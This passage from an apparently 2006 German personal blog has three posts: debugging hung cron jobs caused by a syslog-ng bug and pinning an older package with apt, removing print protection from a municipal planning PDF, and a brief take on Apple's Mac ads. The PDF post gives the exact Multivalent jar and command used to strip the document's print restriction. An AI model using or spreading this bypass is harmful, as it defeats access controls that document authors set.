/etc/cron.hourly
/etc/cron.daily
/etc/cron.weekly
/etc/cron.monthly
/var/spool/cron/crontabs/<username>

Da die zeilenweise Aktivierung/Deaktivierung nicht den gewünschten Effekt brachte, verschob ich nach und nach jedes einzelne Verzeichnis. Schlussendlich liefen gar keine Cron-Jobs mehr. Das war überaus unbefriedigend. Vorbeugend entschied ich mich, in /etc/init.d/cron ein exit 0 einzubauen, um den Daemon bei den gehäuften Reboots standardmässig nicht mehr zu starten.

lsof und strace

Welcher cron-Job nicht zu Ende geführt werden konnte, entzog sich meiner Kenntnis. Was ich aber genauer analysieren konnte waren die einzelnen Prozesse. lsof, das ich vor wenigen Tagen entdeckt hatte, half aber nicht gross weiter. Mehr versprach ich mir von strace. Ein Tool, das es erlaubt, laufende Prozesse zu analysieren. Auch dies half mir vorerst nicht weiter.

Schlaf

Mittlerweile hatte es Mitternacht geschlagen – der Server lief mehr oder weniger produktiv, verrichtete seine Arbeit und liess mich auch wieder einloggen oder sulen. Das Problem resp. dessen Ursache war zwar noch nicht behoben, ich hatte das System aber zumindest wieder so weit, dass ich damit anständig arbeiten konnte.

syslog-ng!

Dem Mailverkehr mit Kollege Liechti nach zu urteilen hatte ich die Ursache um spätestens 10:32 Uhr des nächsten Tages eingekreist: syslog-ng, der Syslog-Daemon. Nicht der Cron-Daemon war es, der die /USR/SBIN/CRON nicht beenden liess, sondern syslog-ng! Mein Verdikt im breitesten Berndeutsch:

Sit ig das Scheiss-Ding deaktiviert ha, chani eich ume jede cron-job la loufe, woni ufem System finge. Si hängesech nüm.

Mit strace fand ich später heraus, dass tatsächlich dieses ominöse /dev/log die Hänger verursachte:

connect(7, {sa_family=AF_FILE, path="/dev/log"}, 16")

meldete das Debugging-Tool.

/dev/log am Arsch

Ich stiess im Laufe der Recherche über /dev/log auf die Mailing-Liste von syslog-ng und verfasste einen Symptombeschrieb.

Etwas später entdeckte ich in derselben Liste eine Person, die genau mit demselben Problem zu kämpfen hatte.

Ich erhielt einige Antworten auf meine Anfrage, worunter sich auch der hauptsächliche Entwickler Balazs Scheidler zu Wort meldete und auf einen seiner früheren Posts verwies:

It came to my attention that syslog-ng 1.6.10 broke file(„/proc/kmsg“)
support with the recent performance improvement patches as /proc/kmsg
does not support nonblocking mode.

The issue might cause the complete system to deadlock. Non-Linux
platforms, or installation where /proc/kmsg is not directly processed by
syslog-ng is not affected.

I’m going to release 1.6.11 as soon as possible to fix this issue.


Bazsi

sysklogd

Ich sicherte folglich die syslog-ng.conf, entfernte den Syslogger mit apt-get remove syslog-ng und installierte apt-get install sysklogd. Seither hatte ich Ruhe.

syslog-ng – neuer Versuch

Heute Abend nun entschied ich mich, auf eine syslog-ng-Version zu wechseln, die den Bazsi erwähnten Bug (noch) nicht aufwies. Ich fand unter den Debian stable-Packages die Version 1.6.5, welche ich als .deb herunterlud, danach das System mit apt-get remove sysklogd bereit für den Neuankömmling machte und diesen dann mittels dpkg -i syslog-ng_1.6.5-2.2_i386.deb auch installierte. Nur noch die syslog-ng.conf zurück an den angestammten Platz, und fertig ist die ursprünglich lange funktionierende Konfiguration.

apt-pinning

Damit mir die 1.9.x-Development-Series von syslog-ng nicht mehr ungewollt auf die Kiste kommt, habe ich nun die Datei /etc/apt/preferences erstellt und folgenden Inhalt hineinkopiert:

Package: *
Pin: release a=stable
Pin-Priority: 700

Package: *
Pin: release a=testing
Pin-Priority: 650

Package: *
Pin: release a=unstable
Pin-Priority: 600

Package: syslog-ng
Pin: version 1.6.5*
Pin-Priority: 1000

Die Pin-Priority: 1000 bedeutet soviel wie „Überschreibe die Version 1.6.5* des Packetes syslog-ng auf keinen Fall mit einer anderen Version“.

apt

In der Tat ist dies das erste Mal seit der Installation von Debian, dass mir ein testing-Paket mein System zerschossen hat. Unglaublich. Wenn man überlegt, wie bspw. Branchenriese Microsoft mit seinen (produktiven!) Patches herumeiert

Fazit

Wieder habe ich eine Menge über Linux gelernt, viele neue Tools kennengelernt und mich im Eruierern von Fehlern im Betriebssystem geübt.

Der Vortrag ist übrigens trotz dem Pikett-Einsatz als erfolgreich eingestuft worden.

Dank für die moralische Unterstützung: Kollege Liechti & Kollege Burgdorfer

Tags:
Labels: Linux

Keine Kommentare | neuen Kommentar verfassen

Samstag, 13. Mai 2006

Geschützte PDFs drucken

Stein des Anstosses

Da ist in Neuenegg also die Ortsplanung in das Mitwirkungsverfahren eingetreten, doch der Ortsplaner entschied wohlwollenderweise, dass die Wohnbevölkerung die Unterlagen zwar digital betrachten, aber nicht ausdrucken dürfe.

Da eine Mitwirkung auch den freien Zugang zu den dazu benötigten Informationen über mehrere Medien (Bildschirm, aber auch als Hard-Copy) beinhalten sollte, entschied ich, eine kurze Robin-Hood-Aktion zu starten, um die wichtigsten Dokumente (Textwüsten von mehreren Seiten) druckbar zu machen.

Hintergründiges über das Format

Wieder einmal lernte ich etwas mehr über das PDF-Format kennen und den teilweise lächerlichen Schutz, den Adobe ursprünglich für dieses Dokumentenformat implementiert hatte.

PDF-Dateien sind im Grunde recht simpel gestrickt und arbeiten auf Box-Basis. Jedes Element (Text, Grafik) wird also in einer rechteckigen Box untergebracht, weshalb es sehr einfach ist, einen rudimentären Generator wie bspw. fpdf für PHP zu programmieren. Generiert man mit dieser Klasse PDF-Dateien, bewegt man sich low-level-mässig sehr nah an diesem Box-Model. Mittlerweile etwas intelligenter geworden, würde ich heute aber natürlich LaTeX zur Server-seitigen PDF-Generierung verwenden, wie dies bspw. Simon Bünzli mit der exzellenten Applikation ePhi seit längerem tut, um Präsenzlisten auszugeben (via Zope).

DRM

Im Laufe der Zeit hat Adobe viele zusätzliche Features eingebaut, womit das plattformübergreifende Format nun bei Version 1.5 1.6 angekommen ist. Insbesondere auf dem Gebiet von DRM & Co. hat sich – wohl auf Grund von Kundenwünschen – viel getan. Dokumente können granular mit einer Betrachtungs- und Druckberechtigung versehen werden, ja sogar das Kopieren von Textelementen (ja, man kann und darf normalerweise Text aus PDF-Dateien kopieren, nur wissen das 80% der Benutzer nicht) kann verboten werden.

Der Passwortschutz ist bei Vorlesungsunterlagen an der Uni sehr beliebt. Ohne Eingabe des Passwortes kriegt man nichts zu sehen. Dies ist die schwierigste Stufe des Kopierschutzes. Hier ist der gesamte Dokumenten-Inhalt verschlüsselt.

Die Dokumente zur Ortsplanung dagegen sind deutlich schwächer geschützt. Erkennen tut man dies daran, dass das Dokument auf dem Bildschirm erscheint, wenn man es öffnet. Erst wenn man die Druckfunktion aufruft, wird man auf den Druckschutz hingewiesen, den man durch die Eingabe des Passwortes übergehen kann.

Wie ich durch eigene Recherchen im Netz herausgefunden habe, wird der Druckschutz hier durch den Betrachter des Dokuments forciert, ausgelöst durch ein in der PDF-Datei abgelegtes spezielles Objekt, das wohl auch das (verschlüsselte) Passwort enthält.

Das Schlupfloch

Da Adobe das Format offengelegt hat, gibt es auch einige Open-Source-Utilities, die unter Linux & Co. PDF-Dateien anzeigen, ohne dass man sich die Adobe Reader-Bloatware (Windows-Version: 20MB) installieren muss.

Vor einigen Jahren erschienen nun aber Versionen von Open-Source-Viewern wie xpdf und Multivalent, die genau diese Anweisung innerhalb einer PDF-Datei („Viewer, lasse das Drucken nur mit korrekter Passwort-Eingabe zu!“) nicht beachteten.

Auf Grund einer Bestimmung von seiten Adobes, die in der Lizenz für das Dokumentenformat festhält, dass die Viewer solche Anweisungen aber beachten müssen, ansonsten die kostenlose Verwendung des Standards nicht erlaubt sei, rüsteten die Entwickler diese Funktion in den folgenden Jahren nach.

Nachtrag: Da steht es ja laut und deutlich:

Authors of software that accepts input in the form of the Portable Document Format must make reasonable efforts to ensure that the software they create respects the access permissions and permissions controls listed in Table 3.20 of this specification, to the extent that they are used in any particular document. These access permissions express the rights that the document’s author has granted to users of the document. It is the responsibility of Portable Document Format consumer software to respect the author’s intent.

Quelle: PDF Reference

Der Workaround

Mit Open Source-vertraute Leser ahnen es bereits: Die Quelloffenheit der Software erlaubt es natürlich nun, den Code nach dem entsprechenden Abschnitt zu durchforsten und diesen auszukommentieren, die Applikation zu kompilieren und PDF-Dateien wie anno dazumal auszudrucken.

Einfacher geht es, indem wie von Ralf König in seinem Artikel Probleme mit PDF-Dateien beschrieben auf Sourceforge einfach eine ältere Version der Viewer gesaugt wird, die vor Adobes aufbäumen kompiliert wurde.

Benötigt wird dazu die Datei Multivalent20040415.jar, die man hier findet.

Königs Anweisung

java -jar Multivalent20040415.jar tool.pdf.Uncompress non-printable.pdf

funktioniert hier unter Mac OS X 10.3 aber nicht. Nach weiteren Nachforschungen auf dem Netz fand ich dann aber eine andere Schreibweise, und damit hat es tatsächlich geklappt:

java -classpath Multivalent20040415.jar tool.pdf.Uncompress non-printable.pdf

Nachdem man diesen Befehl ausgeführt hat, befindet sich im aktuellen Verzeichnis die neue Datei non-printable-u.pdf, die problemlos ausgedruckt werden kann.

Tags:
Labels: Neuenegg

Keine Kommentare | neuen Kommentar verfassen

Dienstag, 2. Mai 2006

"Hello, I’m a Mac …"

Ich weiss nicht, ob damit viele Neukunden gewonnen werden – aber he, Steve hat’s wenigstens probiert. Lustig, wie für einmal nicht Mac-Klisches („Macs sind schwul!“) persifliert werden, sondern Windows. Erinnert euch „PC“ nicht auch ein wenig an Bill G.?

Get A Mac

Windows-Jünger, denkt daran: Mit Windows Vista wird alles besser. 2007?

PS: Ich weiss, dass Apple Walt Mossberg vom WSJ gerne zitiert. Aber wenn es auf diesem Planeten nur eine Person geben dürfte, die bezüglich Macs keine objektive Meinung hat, dann würde die Ehre Walt zufallen. Der ist doch seit Jahren gekauft!

Tags:
Labels: Allgemein

Keine Kommentare | neuen Kommentar verfassen